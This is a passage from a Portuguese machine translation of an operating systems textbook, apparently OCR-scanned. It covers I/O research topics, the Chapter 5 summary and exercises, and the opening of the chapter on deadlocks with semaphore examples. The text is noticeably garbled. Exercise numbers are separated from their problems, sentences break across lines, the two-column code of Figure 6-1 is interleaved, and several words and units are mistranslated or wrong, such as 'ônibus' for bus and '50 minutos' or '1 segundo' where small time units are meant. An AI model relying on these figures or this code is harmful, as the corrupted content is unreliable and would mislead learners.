Enviar o processamento para os processadores da placa de rede também é o objetivo do 
trabalho de Pismenny et al. (2021). Porém, em vez de fazer todo o processamento de 
nas camadas inferiores da pilha de rede no cartão, os autores propõem uma combinação 
arquitetura de software/NIC onde parte do processamento ocorre na CPU 
e o restante na NIC. Todo o processamento feito na CPU não precisa mais 
ser feito pelo cartão. Outros, em vez disso, otimizam agressivamente o software para garantir 
o máximo de processamento possível pode ser feito dos caches L1 e L2 para 
permitir processamento de 100 Gbps sem coprocessadores na placa de rede (Farshin et 
al., 2021). 

O desempenho também é importante em sistemas de armazenamento. Com dispositivos de armazenamento rápidos, 
a E/S no nível do host é cada vez mais um gargalo para a computação com uso intensivo de dados. O 
a necessidade de melhorar o desempenho de E/S requer otimizações que envolvem a página 
cache mantido pelo kernel, bem como o acesso aos dispositivos de armazenamento (Papa giannis et al., 
2021). Como vimos, a E/S mapeada na memória é eficiente se o arquivo 
os dados estão na memória, mas se não estiverem, os dados devem ser trazidos e alguns dados existentes 
despejado. Fazer isso é caro e pouco flexível (decidido de uma vez por todas pelo 
política do kernel. 

Como em todos os capítulos até agora, a segurança também é uma preocupação importante aqui. 
Infelizmente, os pesquisadores demonstraram que as melhorias de E/S no hardware podem oferecer novos 
oportunidades para os atacantes. Um bom exemplo é o DMA, que é bom para a eficiência, 
mas pode permitir dispositivos maliciosos (como um cabo de vídeo que foi adulterado 
com) para acessar memória à qual não deveriam ter acesso (Markettos et al., 

2019; Alex e outros, 2021). Às vezes, uma combinação de recursos pode criar problemas. Por exemplo, um 
recurso de CPU que permite que os dispositivos acessem caches diretamente, 

conhecido como Acesso Direto ao Cache, combinado com DMA Remoto (através da rede), permite que 
invasores lancem ataques tradicionais ao cache a partir de outra máquina 

(Kurth et al., 2020). Ao mesmo tempo, novos recursos de CPU, como ambientes de execução confiáveis 
(TEE), também ajudam a fornecer garantias de segurança mais fortes em E/S. 

fornecendo bibliotecas de E/S dentro do TEE (Thalheim et al., 2021). 

Finalmente, o gerenciamento de energia é uma grande dor de cabeça não apenas para PCs ou baterias 
dispositivos alimentados, mas também para grandes data centers. Para ajudar a aliviar a dor, dados 
os centros usam limite de energia — limitando com força a energia que um servidor pode usar. Para 
Por exemplo, se você tiver 4 MW de potência disponível para seus servidores e cada servidor puder 
usar até 400 W, você não poderá instalar mais de 10.000 servidores, mesmo que cada servidor nunca 
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realmente usa mais de 300 W. Ao limitar a quantidade de energia que cada servidor pode 

consumindo até 300 W, podemos incluir 3.333 servidores adicionais em nosso datacenter. De 

Claro, o limite de energia e o aumento das cargas de trabalho tornam um desafio garantir baixo 

latência para as tarefas que precisam dela, ao mesmo tempo em que fornece taxa de transferência suficiente para lote 
empregos (Li et al., 2020). 


5.10 RESUMO 


Entrada/saída é um tópico frequentemente negligenciado, mas importante. Uma fração substancial 
de qualquer sistema operacional está preocupado com E/S. A E/S pode ser realizada em um dos 
três caminhos. Primeiro, há a E/S programada, na qual a CPU principal entra ou sai, coloca cada byte ou palavra 
e fica em um loop apertado esperando até que possa receber ou enviar o 
o próximo. Em segundo lugar, existe a E/S orientada por interrupção, na qual a CPU inicia uma operação de E/S. 
transfere para um caractere ou palavra e sai para fazer outra coisa até que uma interrupção 
chega sinalizando a conclusão da E/S. Terceiro, existe o DMA, no qual um 
chip gerencia a transferência completa de um bloco de dados, dada apenas uma interrupção 
quando todo o bloco tiver sido transferido. 

A E/S pode ser estruturada em quatro níveis: os procedimentos de serviço de interrupção, o dispositivo 
drivers, o software de E/S independente de dispositivo e as bibliotecas e spoolers de E/S que 
executado no espaço do usuário. Os drivers de dispositivo lidam com os detalhes de execução dos dispositivos e 
fornecendo interfaces uniformes para o resto do sistema operacional. O software de E/S independente do 
dispositivo faz coisas como armazenamento em buffer e relatórios de erros. 

O armazenamento secundário vem em vários tipos, incluindo discos magnéticos, 
RAIDs e unidades flash. Em discos rotativos, os algoritmos de escalonamento de braço de disco podem 
muitas vezes são usados para melhorar o desempenho, mas a presença de geometrias virtuais complica as 
coisas. Ao emparelhar dois discos ou SSDs, pode-se construir um meio de armazenamento estável com certas 
propriedades úteis. 

Os relógios são usados para acompanhar o tempo real, limitando quanto tempo os processos 
pode ser executado, manipulando temporizadores de watchdog e fazendo contabilidade. 

Terminais orientados a caracteres têm uma variedade de problemas relacionados a caracteres especiais 
que podem ser inseridos e sequências de escape especiais que podem ser geradas. A entrada pode 
estar no modo cru ou no modo cozido, dependendo de quanto controle o programa 
quer sobre a entrada. Sequências de escape no movimento do cursor de controle de saída e 
permitir inserir e excluir texto na tela. 

A maioria dos sistemas UNIX usa o sistema X Window como base da interface do usuário. Consiste em 
programas vinculados a bibliotecas especiais que emitem desenhos 
comandos e um servidor X que escreve no display. 

Muitos computadores pessoais usam GUls para sua saída. Estes são baseados no 
Paradigma WIMP: janelas, ícones, menus e um dispositivo apontador. Programas baseados em GUI são 
geralmente orientados a eventos, com teclado, mouse e outros eventos sendo 
enviados ao programa para processamento assim que ocorrerem. Em sistemas UNIX, o 


As GUIs quase sempre são executadas em cima do X. 
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Os thin clients têm algumas vantagens sobre os PCs padrão, principalmente simplicidade e 
menos manutenção para os usuários. 


Finalmente, o gerenciamento de energia é um grande problema para telefones, tablets e notebooks 
porque a vida útil da bateria é limitada e para máquinas desktop e servidores porque 
das contas de energia de uma organização. Várias técnicas podem ser empregadas pelo sistema operacional para 
reduzir o consumo de energia. Os programas também podem ajudar sacrificando alguma qualidade em prol de 


uma vida útil mais longa da bateria. 


PROBLEMAS 


1. Os avanços na tecnologia de chips tornaram possível colocar um controlador inteiro, incluindo toda a lógica de acesso 
ao barramento, em um chip barato. Como isso afeta o modelo de 
Figura 1-6? 


2. Dadas as velocidades listadas na Fig. 5-1, é possível gravar vídeo usando um gravador de vídeo digital 
gravador e transmiti-los através de uma rede 802.11n em velocidade máxima? Defenda o seu 


responder. 


3. A Figura 5-3(b) mostra uma maneira de ter E/S mapeada em memória mesmo na presença de 
barramentos separados para memória e dispositivos de E/S, ou seja, para primeiro testar o barramento de memória e se 
falhar, tente o barramento de E/S. Um inteligente estudante de ciência da computação pensou em um 
melhoria nesta ideia: tente ambos em paralelo, para acelerar o processo de acesso a E/S 
dispositivos. O que você pensa dessa ideia? 


4. Um controlador DMA possui quatro canais. O controlador é capaz de solicitar um protocolo de 32 bits 
palavra a cada 100 nseg. Uma resposta leva igualmente tempo. Quão rápido o ônibus deve ser 
para evitar ser um gargalo? 


5. Suponha que um sistema utilize DMA para transferência de dados do controlador de disco para a memória principal. 
Suponha ainda que são necessários t1 nseg em média para adquirir o barramento e t2 nseg para adquirir o barramento. 
transferir uma palavra pelo barramento (t1 >> t2). Após a CPU ter programado o DMA 
controlador, quanto tempo levará para transferir 1000 palavras do controlador de disco para o principal 
memória, se (a) o modo palavra por vez for usado, (b) o modo burst for usado? Suponha que comandar o controlador 
de disco exija a aquisição do barramento para enviar uma palavra e que o reconhecimento de uma transferência 


também exija a aquisição do barramento para enviar uma palavra. 


6. Um modo usado por alguns controladores DMA é fazer com que o controlador do dispositivo envie o 


palavra para o controlador DMA, que então emite uma segunda solicitação de barramento para gravar na memória. 
Como esse modo pode ser usado para realizar cópia de memória para memória? Discuta qualquer 
vantagem ou desvantagem de usar este método em vez de usar a CPU para executar 


cópia de memória para memória. 


7. Explique a diferença entre interrupções, exceções/falhas e armadilhas com concreto 


exemplos. 


8. Suponha que um computador possa ler ou escrever uma palavra da memória em 10 ns. Suponha também 
que quando ocorre uma interrupção, todos os 32 registros da CPU, mais o contador do programa e o PSW 
são empurrados para a pilha. Qual é o número máximo de interrupções por segundo neste 
máquina pode processar? 
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9. Na Figura 5-9(b), a interrupção não é reconhecida até que o próximo caractere tenha sido enviado para a impressora. Poderia ter 
sido igualmente reconhecido logo no início do procedimento de serviço de interrupção? Se sim, dê uma razão para fazê-lo no 


final, como no texto. Se não, por que não? 


10. Um computador possui um pipeline de três estágios, conforme mostrado na Figura 1.7(a). A cada ciclo de clock, uma nova 
instrução é buscada na memória no endereço apontado pelo PC e colocada no pipeline e o PC avança. Cada instrução ocupa 
exatamente uma palavra da memória. As instruções já no pipeline avançam um estágio cada. Quando ocorre uma interrupção, 
o PC atual é colocado na pilha e o PC é definido como o endereço do manipulador de interrupção. Em seguida, o pipeline é 
deslocado um estágio para a direita e a primeira instrução do manipulador de interrupção é buscada no pipeline. Esta máquina 


tem interrupções precisas? Defenda sua resposta. 


11. Para algumas aplicações, uma página de texto impressa típica contém 45 linhas de 80 caracteres cada. Imagine que uma 
determinada impressora possa imprimir 6 páginas por minuto e que o tempo para escrever um caracter no registro de saída da 
impressora seja tão curto que possa ser ignorado. Faz sentido executar esta impressora usando E/S orientada por interrupção 


se cada caractere impresso exigir uma interrupção que leva 50 minutos? 
y seg all-in para o serviço? 


12. Explique como um sistema operacional pode facilitar a instalação de um novo dispositivo sem qualquer necessidade de recompilar 


o sistema operacional. 
13. Em qual das quatro camadas de software de E/S cada uma das ações a seguir é realizada? 


(a) Calculando a trilha, o setor e o cabeçalho para uma leitura de disco. (b) Escrever 
comandos nos registradores do dispositivo. (c) Verificar se o 
usuário tem permissão para usar o dispositivo. (d) Conversão de inteiros binários em 


ASCII para impressão. 


14. Uma rede local é usada da seguinte maneira. O usuário emite uma chamada de sistema para gravar pacotes de dados na rede. 
O sistema operacional então copia os dados para um buffer do kernel. 
Em seguida, ele copia os dados para a placa controladora de rede. Quando todos os bytes estão seguros dentro do controlador, 
eles são enviados pela rede a uma taxa de 10 megabits/s. O controlador de rede receptora armazena cada bit um microssegundo 
depois de enviado. Quando o último bit chega, a CPU de destino é interrompida e o kernel copia o pacote recém-chegado para 
um buffer do kernel para inspecioná-lo. Depois de descobrir para qual usuário o pacote se destina, o kernel copia os dados 
para o espaço do usuário. Se assumirmos que cada interrupção e seu processamento associado levam 1 ms, que os pacotes 
têm 1.024 bytes (ignore os cabeçalhos) e que a cópia de um byte leva 1 segundo, qual é a taxa máxima na qual um processo 
pode bombear dados para outro? Suponha que o remetente esteja bloqueado até que o trabalho do lado receptor seja 
concluído e uma confirmação seja retornada. Para simplifigar, suponha que o tempo para obter a confirmação seja tão pequeno 


que pode ser ignorado. 


15. Por que os arquivos de saída da impressora normalmente são colocados em spool no disco antes de serem impressos? 
16. O tempo de E/S dos discos rígidos consiste principalmente em três partes. 


(a) Tempo de 
busca (b) Tempo 


de inicialização (c) Atraso rotacional (d) Tempo real de transferência de dados 


Qual deles é o fator dominante em um disco rígido típico? E um SSD? 
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17. 


18. 


19. 


20. 


21. 


22. 


23. 


24. 


25. 


26. 


27. 


28. 


29. 


30. 


3 


peo 


Quanta inclinação do cilindro é necessária para um disco de 7.200 RPM com um tempo de busca trilha a trilha de 1 
ms? O disco possui 1.000 setores de 512 bytes cada em cada trilha. 


Um disco gira a 7.200 RPM. Possui 200 setores de 512 bytes ao redor do cilindro externo. 
Quanto tempo leva para ler um setor? 


Calcule a taxa máxima de dados em bytes/s para o disco descrito no item anterior 
problema. 


O RAID nível 3 é capaz de corrigir erros de bit único usando apenas uma unidade de paridade. Qual é o objetivo do 
RAID nível 2? Afinal, ele também pode corrigir apenas um erro e requer mais unidades para fazer isso. 


Um RAID pode falhar se duas ou mais unidades falharem em um curto intervalo de tempo. Suponha que a probabilidade 
de uma unidade travar em uma determinada hora seja p. Qual é a probabilidade de um RAID de unidade k falhar em 
uma determinada hora? 


Compare os níveis de RAID 0 a 5 em relação ao desempenho de leitura, desempenho de gravação, 
sobrecarga de espaço e confiabilidade. 


Quantos pebibytes tem um zebibyte? 


Por que os dispositivos de armazenamento óptico são inerentemente capazes de oferecer maior densidade de dados 
do que os dispositivos de armazenamento magnético? Nota: Este problema requer algum conhecimento de física do 
ensino médio e de como os campos magnéticos são gerados. 


Quais são as vantagens e desvantagens dos discos ópticos em relação aos discos magnéticos? 


Se um controlador de disco grava os bytes que recebe do disco na memória tão rápido quanto os recebe, sem buffer 
interno, a intercalação é concebivelmente útil? Discutir. 


Se um disco tiver intercalação dupla, ele também precisará de inclinação do cilindro para evitar perda de dados ao 
fazer uma busca faixa a faixa? Discuta sua resposta. 


Considere um disco magnético composto por 16 cabeças e 400 cilindros. Este disco possui quatro zonas de 100 
cilindros com os cilindros em diferentes zonas contendo 160, 200, 240 e 280 setores, respectivamente. Suponha 
que cada setor contenha 512 bytes, o tempo médio de busca entre cilindros adjacentes seja de 1 ms e o disco gire 
a 7.200 RPM. Calcule (a) a capacidade do disco, (b) a inclinação ideal da trilha e (c) a taxa máxima de transferência 
de dados. 


Um fabricante de discos possui dois discos de 3,5 polegadas, cada um com 15.000 cilindros. O mais novo tem o dobro 


da densidade de gravação linear do mais antigo. Quais propriedades de disco são melhores na unidade mais recente 
e quais são iguais? 


Suponha que algum estudante inteligente de ciência da computação decida redesenhar o MBR e a tabela de partições 
de um disco rígido para fornecer mais de quatro partições. Quais são algumas das consequências desta mudança? 


. As solicitações de disco chegam ao driver de disco para os cilindros 10, 22, 20, 2, 40, 6 e 38, nessa ordem. Uma 


busca leva 6 ms por cilindro. Quanto tempo de busca é necessário para 


(a) Primeiro a chegar, primeiro a 
ser servido. (b) O próximo cilindro 
mais próximo. (c) Algoritmo do elevador (inicialmente subindo). 


Em todos os casos, o braço está inicialmente no cilindro 20. 
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32. Uma ligeira modificação do algoritmo elevador para programar solicitações de disco é fazer a varredura sempre na 
mesma direção. Em que aspecto este algoritmo modificado é melhor que o algoritmo do elevador? 


33. Para melhorar o desempenho de E/S de discos rígidos, muitos algoritmos de escalonamento foram propostos para 
lidar com solicitações de E/S, como FCFS (First Come, First-Served), SSF (Shortest Seek First) e o algoritmo de 
elevador . Qual deles faz mais sentido para SSDs? Explique sua resposta. 


34. Comparados aos discos rígidos, os SSDs são diferentes em alguns aspectos. Qual das seguintes 
afirmações sobre SSDs são verdadeiras? 


(a) Os SSDs podem lidar com mais solicitações de E/S em 

paralelo. (b) SSDs não incorrem em atraso 

rotacional. (c) Os SSDs são mais resistentes à vibração porque não contêm partes móveis. (d) SSDs 
não incorrem em tempo de busca. (e) 


SSDs são mais baratos por megabyte. 


35. Um vendedor de computadores pessoais que visitou uma universidade no sudoeste de Amsterdã comentou 
durante seu discurso de vendas que sua empresa havia dedicado um esforço substancial para tornar sua versão 
do UNIX muito rápida. Como exemplo, ele observou que o driver de disco usava o algoritmo elevador e também 
enfileirava diversas solicitações dentro de um cilindro em ordem de setor. Um estudante, Harry Hacker, ficou 
impressionado e comprou um. Ele o levou para casa e escreveu um programa para ler aleatoriamente 10 mil 
blocos espalhados pelo disco. Para sua surpresa, o desempenho que ele mediu foi idêntico ao que seria 
esperado do sistema de ordem de chegada. O vendedor estava mentindo? 


36. Na discussão sobre armazenamento estável usando RAM não volátil, o seguinte ponto foi ignorado. O que 
acontece se a gravação estável for concluída, mas ocorrer um travamento antes que o sistema operacional 
possa gravar um número de bloco inválido na RAM não volátil? Essa condição de corrida arruína a abstração de 
armazenamento estável? Explique sua resposta. 


37. Na discussão sobre armazenamento estável, foi demonstrado que o disco pode ser recuperado para um estado 
consistente (uma gravação é concluída ou não ocorre) se ocorrer uma falha na CPU durante uma gravação. Esta 
propriedade é válida se a CPU travar novamente durante um procedimento de recuperação. Explique sua 
resposta. 


38. Na discussão sobre armazenamento estável, uma suposição fundamental é que uma falha na CPU que corrompa 
um setor leva a um ECC incorreto. Que problemas poderão surgir nos cinco cenários de recuperação de falhas 
mostrados na Figura 5-27 se esta suposição não for válida? 


39. O manipulador de interrupção do relógio em um determinado computador requer 2 ms (incluindo sobrecarga de 


comutação de processo) por tique do relógio. O relógio funciona a 60 Hz. Que fração da CPU é dedicada ao 
clock? 


40. Um computador usa um relógio programável em modo de onda quadrada. Se um cristal de 1 GHz for usado, qual 
deve ser o valor do registrador de retenção para atingir uma resolução de clock de 


(a) um milissegundo (um relógio marca uma vez a cada milissegundo)? 
(b) 100 microssegundos? 


41. Um sistema simula múltiplos relógios encadeando todas as solicitações de relógio pendentes, como mostrado na 
Figura 5.29. Suponha que a hora atual seja 5.000 e haja relógios pendentes 
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42. 


43. 


44. 


45. 


46. 


47. 


48. 


49. 


50. 


solicitações para os horários 5008, 5012, 5015, 5029 e 5037. Mostre os valores de Cabeçalho do 
relógio, Hora atual e Próximo sinal nos horários 5000, 5005 e 5013. Suponha que um novo sinal 
(pendente) chegue no horário 5017 para 5033. Mostra os valores do cabeçalho do relógio, hora 
atual e próximo sinal no horário 5023. 


Muitas versões do UNIX usam um número inteiro não assinado de 32 bits para controlar o tempo 
como o número de segundos desde a origem do tempo. Quando esses sistemas serão finalizados 
(ano e mês)? Você espera que isso realmente aconteça? 


Consideremos o desempenho de um modem de 56 kbps do passado (que ainda é comum em áreas 
rurais sem banda larga). O driver gera um caractere e depois bloqueia. 
Quando o caractere é impresso, ocorre uma interrupção e uma mensagem é enviada ao driver 
bloqueado, que gera o próximo caractere e bloqueia novamente. Se o tempo para passar uma 
mensagem, gerar um caractere e bloquear for de 100 segundps, que fração da CPU será consumida 
pelo manuseio do modem? Suponha que cada caractere tenha um bit de início e um bit de parada, 
totalizando 10 bits. 


A tela de um smartphone contém 720 x 1280 pixels. Para rolar uma tela inteira de texto, a CPU (ou 
controlador) deve mover todas as linhas de texto para cima, copiando seus bits de uma parte da 
RAM de vídeo para outra. A caixa de um caractere tem 16 pixels de largura por 32 pixels de altura 
(incluindo espaçamento entre caracteres e entre linhas). Cada pixel tem 24 bits. Quantos caracteres 
cabem na tela? Quanto tempo leva para rolar a tela inteira a uma taxa de cópia de 5 ns por byte, 
supondo que não haja assistência de hardware? Qual é a velocidade de rolagem em linhas/s? 


Depois de receber um caractere DEL (SIGINT), o driver de vídeo descarta toda a saída atualmente 
enfileirada para aquele vídeo. Por que? 


Um usuário emite um comando a um editor para excluir a palavra na linha 5 ocupando as posições 
de caracteres 7 a 12 inclusive. Supondo que o cursor não esteja na linha 5 quando o comando é 
dado, qual sequência de escape ANSI o editor deve emitir para excluir a palavra? 


Os criadores de um sistema informático esperavam que o rato pudesse ser movido a uma velocidade 
máxima de 20 cm/seg. Se um mickey tem 0,1 mm e cada mensagem do mouse tem 3 bytes, qual é 
a taxa máxima de dados do mouse, assumindo que cada mickey é relatado separadamente? 


As cores primárias aditivas são vermelho, verde e azul, o que significa que qualquer cor pode ser 
construída a partir de uma superposição linear dessas cores. É possível que alguém tenha uma 
fotografia colorida que não possa ser representada em cores de 24 bits? 


Uma maneira de colocar um caractere em uma tela bitmap é usar BitBlt de uma tabela de fontes. 
Suponha que uma fonte específica use caracteres de 16 x 24 pixels em cores RGB verdadeiras. 


(a) Quanto espaço de tabela de fontes cada caractere ocupa? 


(b) Se a cópia de um byte leva 100 ns, incluindo sobrecarga, qual é a taxa de saída para o byte? 
tela em caracteres/s? 


Supondo que sejam necessários 5 ns para copiar um byte, quanto tempo leva para reescrever 
completamente a tela de uma tela mapeada na memória em modo texto de 80 caracteres x 25 linhas? 
Que tal uma tela gráfica de 1536 x 2048 pixels com cores de 24 bits? 
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51. 


52. 


53. 


54. 


55. 


56. 


57. 


58. 


59. 


60. 


Na Figura 5.36 há uma classe para RegisterClass. No código X Window correspondente, em 
Figura 5.34, não existe tal chamada ou algo parecido. Por que não? 


No texto demos um exemplo de como desenhar um retângulo na tela usando o Win 
dows GDI: 


Retângulo(hdc, xleft, ytop, xright, ybottom); 


Existe alguma necessidade real do primeiro parâmetro (hdc) e, em caso afirmativo, qual? Afinal, as coordenadas 
do retângulo são explicitamente especificadas como parâmetros. 


Um terminal thin client é usado para exibir uma página da Web contendo um desenho animado de tamanho 400 
pixels x 160 pixels rodando a 20 quadros/s. Que fração de uma Ethernet gigabit de 1000 Mbps é consumida pela 
exibição do desenho animado? 


Foi observado que um sistema thin client funciona bem com uma rede de 1 Mbps em um teste. É provável que 
haja algum problema em uma situação multiusuário? (Dica: considere um grande número de usuários assistindo 
a um programa de TV programado e o mesmo número de usuários navegando na World Wide Web.) 


Descreva duas vantagens e duas desvantagens da computação thin client. 


Se a tensão máxima de uma CPU, V, for reduzida para V/n, seu consumo de energia cai para 1/n2 de seu valor 
original e sua velocidade de clock cai para 1/n de seu valor original. Suponha que um usuário esteja digitando 1 
caractere/s, mas o tempo de CPU necessário para processar cada caractere seja de 100 ms. Qual é o valor ideal 
de ne qual é a economia de energia correspondente em porcentagem em comparação com o não corte da 
tensão? Suponha que uma CPU ociosa não consuma energia alguma. 


Um notebook é configurado para aproveitar ao máximo os recursos de economia de energia, incluindo o 
desligamento do monitor e do disco rígido após períodos de inatividade. Às vezes, um usuário executa programas 
UNIX em modo texto e outras vezes usa o X Window System. Ela fica surpresa ao descobrir que a duração da 
bateria é significativamente melhor quando ela usa programas somente de texto. Por que? 


Escreva um programa que simule armazenamento estável. Use dois arquivos grandes de comprimento fixo em seu 
disco para simular os dois discos. 


Escreva um programa para implementar os três algoritmos de escalonamento de braços de disco. Escreva um 
programa driver que gere uma sequência de números de cilindros (0-999) aleatoriamente, execute os três 
algoritmos para essa sequência e imprima a distância total (número de cilindros) que o braço precisa percorrer 
nos três algoritmos. 


Escreva um programa para implementar vários temporizadores usando um único relógio. A entrada para este 
programa consiste em uma sequência de quatro tipos de comandos (S <int>, T, E <int>, P): S <int> define a hora 
atual como <int>; T é um tique-taque do relógio; e E <int> programa um sinal para ocorrer no tempo <int>; P 
imprime os valores de Hora atual, Próximo sinal e Cabeçalho do relógio. Seu programa também deve imprimir 
uma declaração sempre que for hora de emitir um sinal. 
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Os sistemas de computador estão cheios de recursos que só podem ser usados por um 
processo de cada vez. Exemplos comuns incluem impressoras, câmeras, microfones e slots nas 
tabelas internas do sistema. Ter dois processos gravando simultaneamente na impressora leva a 
algo sem sentido. Ter dois processos usando o mesmo slot de tabela do sistema de arquivos 
invariavelmente levará a um sistema de arquivos corrompido. Consequentemente, todos os 
sistemas operacionais têm a capacidade de conceder (temporariamente) a um processo acesso exclusivo a determi 
recursos. 

Para muitas aplicações, um processo precisa de acesso exclusivo não a um recurso, mas a 
vários. Suponha, por exemplo, que dois processos queiram digitalizar um objeto com um scanner 
3D e depois imprimir as vistas frontal, superior e lateral do objeto em uma impressora. 

O Processo A solicita permissão para usar o scanner 3D e a recebe. O processo B é programado 
de forma diferente e solicita primeiro a impressora e também recebe. Agora A solicita a impressora, 
mas a solicitação fica suspensa até que B a libere. Infelizmente, em vez de liberar a impressora, B 
pede o scanner 3D. Neste ponto, ambos os processos estão bloqueados e assim permanecerão 
para sempre. Esta situação é chamada de impasse. 

Deadlocks também podem ocorrer entre máquinas. Por exemplo, muitos escritórios possuem 
uma rede local com muitos computadores conectados a ela. Frequentemente, dispositivos como 
scanners, impressoras e (em alguns data centers) unidades de fita são conectados à rede como 
recursos compartilhados, disponíveis para qualquer usuário em qualquer máquina. Se esses 
dispositivos puderem ser reservados remotamente (ou seja, a partir da máquina doméstica do 
usuário), poderão ocorrer conflitos do mesmo tipo descritos acima. Situações mais complicadas 
podem causar conflitos envolvendo três, quatro ou mais dispositivos e usuários. 
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Os impasses também podem ocorrer em diversas outras situações. Em um sistema de banco 
de dados, por exemplo, um programa pode ter que bloquear vários registros que está utilizando, para 
evitar condições de corrida. Se o processo A bloquear o registro R1 e o processo B bloquear o 
registro R2, e então cada processo tentar bloquear o registro do outro, também teremos um impasse. 
Assim, os impasses podem ocorrer em recursos de hardware ou em recursos de software. 

Neste capítulo, examinaremos vários tipos de impasses, veremos como eles surgem e 
estudaremos algumas maneiras de preveni-los ou evitá-los. Embora esses impasses surjam no 
contexto dos sistemas operacionais, eles também ocorrem em sistemas de banco de dados, na 
análise de big data e em muitos outros contextos da ciência da computação, portanto, este material 
é realmente aplicável a uma ampla variedade de sistemas simultâneos. 


6.1 RECURSOS 


Uma classe importante de impasses envolve recursos aos quais foi concedido acesso exclusivo 
a algum processo. Esses recursos incluem dispositivos, registros de dados, arquivos e assim por 
diante. Para tornar a discussão sobre impasses o mais geral possível, nos referiremos aos objetos 
concedidos como recursos. Um recurso pode ser um dispositivo de hardware (por exemplo, uma 
impressora) ou uma informação (por exemplo, um registro em um banco de dados). Um computador 
normalmente terá muitos recursos diferentes que um processo pode adquirir. Para alguns recursos, 
diversas instâncias idênticas podem estar disponíveis, como três impressoras. Quando diversas 
cópias de um recurso estão disponíveis, qualquer uma delas pode ser usada para satisfazer qualquer 
solicitação do recurso. Resumindo, um recurso é qualquer coisa que deve ser adquirido, utilizado e 
liberado ao longo do tempo. 


6.1.1 Recursos Preemptivos e Não Preemptivos 


Os recursos vêm em dois tipos: preemptivos e não preemptivos. Um recurso preemptivo é 
aquele que pode ser retirado do processo que o possui sem efeitos nocivos. A memória é um 
exemplo de recurso preemptivo. Considere, por exemplo, um sistema com 16 GB de memória de 
usuário, uma impressora e dois processos de 16 GB em que cada um deseja imprimir algo. O 
processo A solicita e obtém a impressora e, em seguida, começa a calcular os valores a serem 
impressos. Antes de terminar o cálculo, ele excede seu quantum de tempo e é trocado por SSD ou 
disco. 

O Processo B agora é executado e tenta, sem sucesso, adquirir a impressora. Potencialmente, 
temos agora uma situação de impasse, porque A tem a impressora e B tem a memória, e nenhum 
deles pode prosseguir sem o recurso mantido pelo outro. Felizmente, é possível antecipar (retirar) a 
memória de Btrocando-a e trocando A. Agora A pode executar, imprimir e então liberar a impressora. 
Nenhum impasse ocorre. 


Um recurso não preemptivo, por outro lado, é aquele que não pode ser retirado de seu 
proprietário atual sem causar falha potencial. Se um processo começou a digitalizar um objeto com 
um scanner 3D, retirando repentinamente o scanner dele e 
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entregá-lo a outro processo resultará em um modelo 3D distorcido do objeto. Os scanners 3D não são 
preemptivos em um momento arbitrário. 

Se um recurso é preemptivo depende do contexto. Em um PC padrão, a memória é preemptiva 
porque as páginas sempre podem ser trocadas por SSD ou disco para recuperá-las. No entanto, em um 
dispositivo de baixo custo que não suporta troca ou paginação, os impasses não podem ser evitados 
apenas trocando um consumo de memória. 

Em geral, os impasses envolvem recursos não preemptivos. Os impasses potenciais que envolvem 
recursos preemptivos geralmente podem ser resolvidos através da realocação de recursos de um 
processo para outro. Assim, nosso tratamento se concentrará em recursos não preemptivos. 


A sequência abstrata de eventos necessários para usar um recurso é fornecida abaixo. 


1. Solicite o recurso. 


2. Use o recurso. 


3. Libere o recurso. 


Se o recurso não estiver disponível quando for solicitado, o processo solicitante será forçado a aguardar. 
Em alguns sistemas operacionais, o processo é bloqueado automaticamente quando uma solicitação 

de recurso falha e é ativado quando ele fica disponível. Em outros sistemas, a solicitação falha com um 
código de erro, cabendo ao processo chamador aguardar um pouco e tentar novamente. 


Um processo cuja solicitação de recurso acabou de ser negada normalmente ficará em um loop 
apertado solicitando o recurso, depois dormindo e tentando novamente. Embora este processo não 
esteja bloqueado, para todos os efeitos ele está praticamente bloqueado, porque não pode realizar 
nenhum trabalho útil. Em nosso tratamento posterior, assumiremos que quando um processo tem uma 
solicitação de recurso negada, ele é colocado em suspensão. 

A natureza exata da solicitação de um recurso depende muito do sistema. Em alguns sistemas, 
uma chamada de sistema request é fornecida para permitir que os processos solicitem recursos 
explicitamente. Em outros, os únicos recursos que o sistema operacional conhece são arquivos 
especiais que apenas um processo pode abrir por vez. Estes são abertos pela chamada aberta habitual . 
Se o arquivo já estiver em uso, o chamador será bloqueado até que seu atual proprietário o feche. 


6.1.2 Aquisição de Recursos 


Para alguns tipos de recursos, como registros em um sistema de banco de dados, cabe aos 
processos do usuário, e não ao sistema, gerenciar eles próprios o uso dos recursos. 
Uma forma de permitir isso é associar um semáforo a cada recurso. Esses semáforos são todos 
inicializados em 1. Os mutexes podem ser usados igualmente bem. As três etapas listadas acima são 
então implementadas como uma descida no semáforo para adquirir o recurso, o uso do recurso e, 
finalmente, uma subida no recurso para liberá-lo. 
Essas etapas são mostradas na Figura 6.1 (a). 
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typedef int semáforo; typedef int semáforo; 
recurso semáforo 1; —_ recurso semáforo 1; 


recurso semáforo 2; _ 


processo vazio A (void) processo vazio A(vazio) ( 
( down (&recurso 1); para baixo(&recurso 1); 
usar recurso 1(); para baixo(&recurso 2); 
up(&recurso 1); use ambos os recursos (); 
) up(&recurso 2); 


up(&recurso 1); 
(a) (b) 


Figura 6-1. Usando um semáforo para proteger recursos. (a) Um recurso. (b) Dois recursos. 


Às vezes, os processos precisam de dois ou mais recursos. Eles podem ser adquiridos 
sequencialmente, como mostrado na Figura 6-1(b). Se forem necessários mais de dois recursos, eles 
são adquiridos um após o outro. 

Até agora tudo bem. Contanto que apenas um processo esteja envolvido, tudo funciona 
multar. É claro que, com apenas um processo, não há necessidade de adquirir formalmente recursos, 
uma vez que não há concorrência para eles. 

Agora vamos considerar uma situação com dois processos, A e B, e dois 
recursos. Dois cenários são representados na Figura 6-2. Na Figura 6-2(a), ambos os processos 
peça os recursos na mesma ordem. Na Figura 6.2(b), eles os solicitam em uma ordem diferente. 
Essa diferença pode parecer pequena, mas não é. 

Na Figura 6-2(a), um dos processos adquirirá o primeiro recurso antes do 
outro. Esse processo irá então adquirir com sucesso o segundo recurso e fazer 
isso funciona. Se o outro processo tentar adquirir o recurso 1 antes de ele ter sido 
liberado, o outro processo simplesmente será bloqueado até que fique disponível. 

Na Figura 6.2(b), a situação é diferente. Pode acontecer que um dos processos adquira ambos 
os recursos e efetivamente bloqueie o outro processo até que seja 
feito. No entanto, também pode acontecer que o processo A adquira o recurso 1 e o processo B 
adquira o recurso 2. Cada um deles irá agora bloquear ao tentar adquirir o recurso 2. 
outro. Nenhum dos processos será executado novamente. Más notícias: esta situação é um impasse. 


Aqui vemos como o que parece ser uma pequena diferença no estilo de codificação: 
qual recurso adquirir primeiro — acaba por fazer a diferença entre o programa funcionar e o programa 
falhar de uma forma difícil de detectar. 


6.1.3 O problema dos filósofos do jantar 


